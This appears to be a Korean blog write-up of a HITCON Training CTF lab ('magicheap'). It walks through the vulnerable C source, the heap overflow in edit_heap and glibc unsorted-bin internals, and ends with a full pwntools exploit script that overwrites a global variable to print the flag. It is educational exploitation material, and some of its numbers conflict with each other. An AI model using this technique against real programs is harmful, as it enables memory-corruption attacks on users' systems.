LAB 14(Unsorted bin Attack)

728x90

Create heap

void create_heap(){
	int i ;
	char buf[8];
	size_t size = 0;
	for(i = 0 ; i < 10 ; i++){
		if(!heaparray[i]){
			printf("Size of Heap : ");
			read(0,buf,8);
			size = atoi(buf);
			heaparray[i] = (char *)malloc(size);
			if(!heaparray[i]){
				puts("Allocate Error");
				exit(2);
			}
			printf("Content of heap:");
			read_input(heaparray[i],size);
			puts("SuccessFul");
			break ;
		}
	}
}
  1. atoi = char to int. 입력받은 힙의 사이즈를 정수로 변환하여 size에 저장
  2. 입력받은 사이즈로 힙을 할당하고, 그 포인터를 heaparray배열에 저장
  3. read_input을 통해 힙의 data부분에 입력

Edit heap

void edit_heap(){
	int idx ;
	char buf[4];
	size_t size ;
	printf("Index :");
	read(0,buf,4);
	idx = atoi(buf);
	if(idx < 0 || idx >= 10){
		puts("Out of bound!");
		_exit(0);
	}
	if(heaparray[idx]){
		printf("Size of Heap : ");
		read(0,buf,8);
		size = atoi(buf); // not check input size -> heap overflow
		printf("Content of heap : ");
		read_input(heaparray[idx] ,size);
		puts("Done !");
	}else{
		puts("No such heap !");
	}
}
  1. 문자열 형태의 인덱스를 정수로 변환
  2. read에서 힙의 사이즈를 입력받는데, 이때 사이즈 검사를 하지않아 heap overflow가 발생한다.

main

int main(){
	char buf[8];
	setvbuf(stdout,0,2,0);
	setvbuf(stdin,0,2,0);
	while(1){
		menu();
		read(0,buf,8);
		switch(atoi(buf)){
			case 1 :
				create_heap();
				break ;
			case 2 :
				edit_heap();
				break ;
			case 3 :
				delete_heap();
				break ;
			case 4 :
				exit(0);
				break ;
			case 4869 :
				if(magic > 4869){
					puts("Congrt !");
					l33t();
				}else
					puts("So sad !");
				break ;
			default :
				puts("Invalid Choice");
				break;
		}

	}
	return 0 ;
}
  1. 나머지는 그냥 switch문 실행
  2. 하지만 choice에서 4869를 입력했을때 magic이라는 전역변수가 4869보다 크면, l33t라는 함수를 실행한다. 이 l33t함수는
    void l33t(){
    	system("cat /home/magicheap/flag");
    }​
    이고, 플래그를 출력한다.우선 저 주소에 플래그 파일을 만들어 준다.
  3. 우리의 목표는 접근할 방법이 없는 저 magic이라는 변수에 4869보다 큰 값을 넣어, 플래그를 획득하는 것이다.

 

우선 우리가 해야할 것은 magic의 주소와 fake chunk로 쓰일 주소를 찾는게 제일 먼저일 것이다.

fake chunk로 쓰일 주소는 0ctf babyheap에서 배운것처럼 0x7f가있는 부분으로 찾아야한다.

 

우선 unsorted bin attack을 하기전, unsorted bin에 대해 알아보자 bin은 1개의 bin이 존재하며 double-linked list로 관리되는 bin이다. 다른 bin들과는 달리 Free Chunk의 크기에 상관없이 등록되며 large bin, small bin에 들어가기 전에 먼저 해당 bin에 등록된다.

이후에 malloc요청할 경우 fast bin, small bin, large bin에서 알맞은 크기의 Free Chunk를 찾지 못하면 Unsorted bin에서 사용 가능한 Chunk가 있는지 찾는다.

이 때, Unsorted bin attack은 Unsorted bin에서 사용가능한 Free Chunk를 찾고 Free Chunk를 재할당하기 위해 Unsorted bin list에서 제거하면서 발생한다.

[heap exploit] - Unsorted bin Attack

 

[heap exploit] - Unsorted bin Attack

1. unsorted bin attack unsorted bin에 등록된 chunk가 다시 재할당될 때 리스트에서 삭제하면서 발생한다. 이를 통해 특정 영역에 큰 수를 저장하거나 라이브러리 leak이 가능하다. 사용조건: Unsorted Chunk를.

rninche01.tistory.com

우선 unsorted bin은 free시, 인접한 청크들과 병합한다

물리적으로 인접해 있는 free 청크들은 일반적으로 서로 병합을 하여 큰 free 청크를 만드려고 한다.(fastbin은 특별한 경우를 제외하곤 병합안하는 특징이 있음). 크게 현재 청크의 이전 청크와 병합하거나, 다음 청크와 병합하는 경우가 있다.

Heap 기초3

 

Heap 기초3

Heap 기초3 Date @Mar 07, 2020 Person jaeho jung 목차 1. Free (glibc 2.23 기준) 2. Fast bin 3. Unsorted bin 4. Small bin 5. Large bin 6. Top 청크 7. 정리 8. 참고문헌 1. Free (glibc 2.23 기준) c언어를..

wogh8732.tistory.com

우리는 free시, unsorted bin이 병합되는 것을 막기 위해, fastbin크기의 힙사이에 smallbin을 할당해 줄 것이다. → 이게 unsorted bin이 됨.

 

createheap(40, "A"*8)
createheap(104, "B"*8)
createheap(40, "C"*8)

그 후, small bin을 해제해 준다.

이제 가장 중요한 부분이다.

unsorted bin attack의 핵심은 bk를 컨트롤 하는 것이다.

공격자가 원하는 주소를 Unsorted bin list에 등록된 chunk의 bk에 덮어씌우면, unsorted_chunk가 반환한 주소를 bk가 가리키는 주소에 저장할 것이다.

이때 bk에 들어가는 주소는 원하는 주소-0x10이다.

우리는 0x6020ad에 할당을 원하기 때문에, 0x6020ad-0x10인 0x60209d를 bk에 넣어줄것이다.

또한 fake_chunk의 사이즈를 맞추기 위해 Edit_heap함수에서 터지는 heap overflow를 통해 사이즈를 맞춰줄것이다.

editheap(0, 65, p64(0)*5+p64(0x7f)+p64(0x60209d)+p64(0x60209d-0x10))

unsorted bin은 fastbin(LIFO)와는 다르게 FIFO구조를 지닌다.

따라서 smallbin사이즈의 한번 할당하면, bins list에서 제거되면서 0x21c6040에 할당이 될것이다.

다음 smallbin사이즈의 힙을 한번 더 할당하면, 0x6020ad에 원하는 값이 덮어씌워지게 된다. 확인해보자.

주소는 다르지만, 위치를 보았을때 우리가 생각했던 것처럼 덮어씌워졌다.

createheap(104, p64(0x61)*2)
createheap(104, p64(0xbebecafe)*2+"\x00"*3+p64(0x1388))

 

이제 다 됬다. magic의 값을 4869보다 큰 값으로 덮어씌워주면 된다.

나는 여유롭게 5000(0x1338)을 할당해 주었다.

 

그럼 이제 끝났다!

메인메뉴에서 4869를 입력해보자!!

Exploit

from pwn import *
context.terminal = ["terminator", "-e"]

p = process('./magicheap')
e = ELF('./magicheap')

magic = 0x6020c0
heaparray = 0x6020e0
fake_chunk = 0x6020ad
gdb.attach(p)

def createheap(size, content):
    p.sendlineafter('choice :', "1")
    p.sendlineafter('Heap : ', str(size))
    p.sendlineafter('heap:', str(content))

def editheap(index, size, content):
    p.sendlineafter('choice :', "2")
    p.sendlineafter('Index :', str(index))
    p.sendlineafter('Heap : ', str(size))
    p.sendlineafter('heap : ', str(content))

def deleteheap(index):
    p.sendlineafter('choice :', "3")
    p.sendlineafter('Index :', str(index))

createheap(40, "A"*8)
createheap(104, "B"*8)
createheap(40, "C"*8)

deleteheap(1)

editheap(0, 65, p64(0)*5+p64(0x7f)+p64(0x60209d)+p64(0x60209d-0x10))

createheap(104, p64(0x61)*2)
createheap(104, p64(0xbebecafe)*2+"\x00"*3+p64(0x1388))
p.sendlineafter('choice :', "4869")
p.interactive()
728x90

'Hitcon Training' 카테고리의 다른 글

LAB 11(Unsafe Unlink)  (0) 2021.07.25
LAB 12(Fastbin attack)  (0) 2021.07.25
LAB 5  (0) 2021.07.25
LAB 5 - 미완성  (0) 2021.07.25
LAB 3  (0) 2021.07.25